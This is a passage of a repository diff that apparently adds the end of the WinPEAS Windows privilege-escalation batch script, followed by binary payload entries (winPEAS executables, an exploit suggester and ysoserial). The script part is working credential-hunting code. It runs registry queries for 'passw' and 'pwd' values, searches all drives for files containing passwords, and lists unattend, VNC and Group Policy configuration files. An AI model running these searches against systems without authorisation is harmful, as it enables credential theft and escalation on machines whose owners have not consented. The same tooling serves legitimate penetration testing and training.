== sysprep.inf == sysprep.xml == unattend.xml == unattended.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == groups.xml == services.xml == scheduledtasks.xml == printers.xml == drives.xml == datasources.xml == php.ini == https.conf == https-xampp.conf == httpd.conf == my.ini == my.cnf == access.log == error.log == server.xml == SiteList.xml == ConsoleHost_history.txt == setupinfo == setupinfo.bak 2>nul | findstr /v ".dll"
|
||||
cd inetpub 2>nul && (dir /s/b web.config == *.log & cd ..)
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
|
||||
:ExtendedDriveScan
|
||||
if "%long%" == "true" (
|
||||
CALL :ColorLine " %E%33m[+]%E%97m REGISTRY WITH STRING pass OR pwd"
|
||||
reg query HKLM /f passw /t REG_SZ /s
|
||||
reg query HKCU /f passw /t REG_SZ /s
|
||||
reg query HKLM /f pwd /t REG_SZ /s
|
||||
reg query HKCU /f pwd /t REG_SZ /s
|
||||
ECHO.
|
||||
ECHO. [i] Iterating through the drives
|
||||
ECHO.
|
||||
where wmic >nul 2>&1
|
||||
if !errorlevel! equ 0 (
|
||||
for /f %%x in ('wmic logicaldisk get name') do (
|
||||
set tdrive=%%x
|
||||
if "!tdrive:~1,2!" == ":" (
|
||||
%%x
|
||||
CALL :ColorLine " %E%33m[+]%E%97m FILES THAT CONTAINS THE WORD PASSWORD WITH EXTENSION: .xml .ini .txt *.cfg *.config"
|
||||
findstr /s/n/m/i password *.xml *.ini *.txt *.cfg *.config 2>nul | findstr /v /i "\\AppData\\Local \\WinSxS ApnDatabase.xml \\UEV\\InboxTemplates \\Microsoft.Windows.Cloud \\Notepad\+\+\\ vmware cortana alphabet \\7-zip\\" 2>nul
|
||||
ECHO.
|
||||
CALL :ColorLine " %E%33m[+]%E%97m FILES WHOSE NAME CONTAINS THE WORD PASS CRED or .config not inside \Windows\"
|
||||
dir /s/b *pass* == *cred* == *.config* == *.cfg 2>nul | findstr /v /i "\\windows\\"
|
||||
ECHO.
|
||||
)
|
||||
)
|
||||
) else (
|
||||
for /f %%x in ('powershell -command "Get-PSDrive -PSProvider FileSystem | Where-Object {$_.Root -match ':'} | Select-Object -ExpandProperty Name"') do (
|
||||
%%x:
|
||||
CALL :ColorLine " %E%33m[+]%E%97m FILES THAT CONTAINS THE WORD PASSWORD WITH EXTENSION: .xml .ini .txt *.cfg *.config"
|
||||
findstr /s/n/m/i password *.xml *.ini *.txt *.cfg *.config 2>nul | findstr /v /i "\\AppData\\Local \\WinSxS ApnDatabase.xml \\UEV\\InboxTemplates \\Microsoft.Windows.Cloud \\Notepad\+\+\\ vmware cortana alphabet \\7-zip\\" 2>nul
|
||||
ECHO.
|
||||
CALL :ColorLine " %E%33m[+]%E%97m FILES WHOSE NAME CONTAINS THE WORD PASS CRED or .config not inside \Windows\"
|
||||
dir /s/b *pass* == *cred* == *.config* == *.cfg 2>nul | findstr /v /i "\\windows\\"
|
||||
ECHO.
|
||||
)
|
||||
)
|
||||
CALL :T_Progress 2
|
||||
) ELSE (
|
||||
CALL :T_Progress 2
|
||||
)
|
||||
TITLE WinPEAS - Windows local Privilege Escalation Awesome Script - Idle
|
||||
ECHO.---
|
||||
ECHO.Scan complete.
|
||||
PAUSE >NUL
|
||||
EXIT /B
|
||||
|
||||
:::-Subroutines
|
||||
|
||||
:SetOnce
|
||||
REM :: ANSI escape character is set once below - for ColorLine Subroutine
|
||||
for /F %%a in ('echo prompt $E ^| cmd') do set "ESC=%%a"
|
||||
SET "E=%ESC%["
|
||||
SET "PercentageTrack=0"
|
||||
EXIT /B
|
||||
|
||||
:T_Progress
|
||||
SET "Percentage=%~1"
|
||||
SET /A "PercentageTrack=PercentageTrack+Percentage"
|
||||
TITLE WinPEAS - Windows local Privilege Escalation Awesome Script - Scanning... !PercentageTrack!%%
|
||||
EXIT /B
|
||||
|
||||
:ColorLine
|
||||
SET "CurrentLine=%~1"
|
||||
ECHO.!CurrentLine!
|
||||
EXIT /B
|
||||
BIN
payloads/windows/winPEAS.exe
Normal file
BIN
payloads/windows/winPEAS.exe
Normal file
Binary file not shown.
BIN
payloads/windows/winPEASx64.exe
Normal file
BIN
payloads/windows/winPEASx64.exe
Normal file
Binary file not shown.
1640
payloads/windows/windows-exploit-suggester.py
Normal file
1640
payloads/windows/windows-exploit-suggester.py
Normal file
File diff suppressed because it is too large
Load Diff
BIN
payloads/windows/ysoserial/NDesk.Options.dll
Normal file
BIN
payloads/windows/ysoserial/NDesk.Options.dll
Normal file
Binary file not shown.
BIN
payloads/windows/ysoserial/ysoserial.exe
Normal file
BIN
payloads/windows/ysoserial/ysoserial.exe
Normal file
Binary file not shown.
Reference in New Issue
Block a user